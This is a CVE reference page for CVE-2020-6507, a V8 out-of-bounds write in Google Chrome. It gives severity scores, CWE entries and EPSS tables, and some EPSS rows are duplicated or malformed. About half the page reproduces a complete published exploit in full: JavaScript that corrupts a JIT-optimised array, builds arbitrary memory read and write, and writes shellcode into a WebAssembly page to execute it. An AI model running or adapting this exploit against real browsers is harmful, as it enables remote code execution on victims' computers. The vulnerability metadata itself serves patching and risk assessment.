CVE-2020-6507

Score / Severity

8.8

High

CVE Descriptions

Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	2.85%	–	–	–	–
2021-09-05	–	2.85%	–	–	–
2021-10-10	–	2.85%	–	–	–
2021-10-17	–	2.85%	–	–	–
2022-01-09	–	2.85%	–	–	–
2022-02-06	–	–	34.79%	–	–
2022-04-03	–	–	8.94%	–	–
2022-04-17	–	–	8.94%	–	–
2022-07-17	–	–	1.21%	–	–
2022-08-28	–	–	1.21%	–	–
2022-11-20	–	–	8.94%	–	–
2023-03-12	–	–	–	95.09%	–
2023-04-09	–	–	–	94.87%	–
2024-03-10	–	–	–	94.21%	–
2024-04-14	–	–	–	94.18%	–
2024-06-02	–	–	–	94.38%	–
2024-10-20	–	–	–	94.4%	–
2024-12-22	–	–	–	71.27%	–
2025-01-05	–	–	–	66.98%	–
2025-01-19	–	–	–	69.47%	–
2025-03-09	–	–	–	67.63%	–
2025-01-19	–	–	–	69.47%	–
2025-03-09	–	–	–	67.63%	–
2025-03-18	–	–	–	–	41.68%
2025-03-18	–	–	–	–	41.68,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	81%
2021-10-10	8%
2021-10-17	81%
2022-01-09	63%
2022-02-06	97%
2022-04-03	93%
2022-04-17	94%
2022-07-17	65%
2022-08-28	66%
2022-11-20	94%
2023-03-12	99%
2023-04-09	99%
2024-03-10	99%
2024-04-14	99%
2024-06-02	99%
2024-10-20	99%
2024-12-22	98%
2025-01-05	98%
2025-01-19	98%
2025-03-09	98%
2025-01-19	98%
2025-03-09	98%
2025-03-18	97%
2025-03-18	97%

Exploit information

Exploit Database EDB-ID : 49746

Publication date : 2021-04-05 22h00 +00:00
Author : r4j0x00
EDB Verified : No

# Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution # Exploit Author: r4j0x00 # Version: < 83.0.4103.106 # Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. # CVE: CVE-2020-6507 /* BSD 2-Clause License Copyright (c) 2021, rajvardhan agarwal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); var arraybuf = new ArrayBuffer(0x13373); var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]); var mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(mod); var shell = wasm_instance.exports.shell; var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337]; var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } for (let i = 0; i < 30000; ++i) { trigger(giant_array); } corrupted_array = trigger(giant_array)[1]; var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]]; function searchmem(value) { skip = 0; for(i=0; i<search_space.length; ++i) { for(j=search_space[i][0];j<search_space[i][1];++j) { if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value)) { if(skip++ == 2) // Probably the first two are due to the search itself return j; } } } return -1; } function searchmem_full(value) { for(i=0;i<search_space.length;++i) { for(j=search_space[i][0];j<search_space[i][1];++j) { if((ftoi(corrupted_array[j]) === value)) { if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n)) { return j; } } } } return -1; } var arraybuf_idx = searchmem(0x13373n); if(arraybuf_idx == -1) { alert('Failed 1'); throw new Error("Not found"); } document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>"); function arb_read(addr, length) { var data = []; let u8_arraybuf = new Uint8Array(arraybuf); corrupted_array[arraybuf_idx+1] = itof(addr); for(i=0;i<length;++i) data.push(u8_arraybuf[i]); return data; } function arb_write(addr, data) { corrupted_array[arraybuf_idx+1] = itof(addr); let u8_arraybuf = new Uint8Array(arraybuf); for(i=0;i<data.length;++i) u8_arraybuf[i] = data[i]; } idx = searchmem_full((1337332n << 33n) + (1337331n << 1n)); if (idx == -1) { alert('Failed 2'); throw new Error("Not found"); } wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn; document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>"); rwx_idx = Number((wasm_addr-1n+0x68n)/8n); rwx_addr = ftoi(corrupted_array[rwx_idx-1]); if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn) { rwx_addr >>= 32n; rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n; } document.write("rwx addr: 0x"+rwx_addr.toString(16)); arb_write(rwx_addr, shellcode); shell();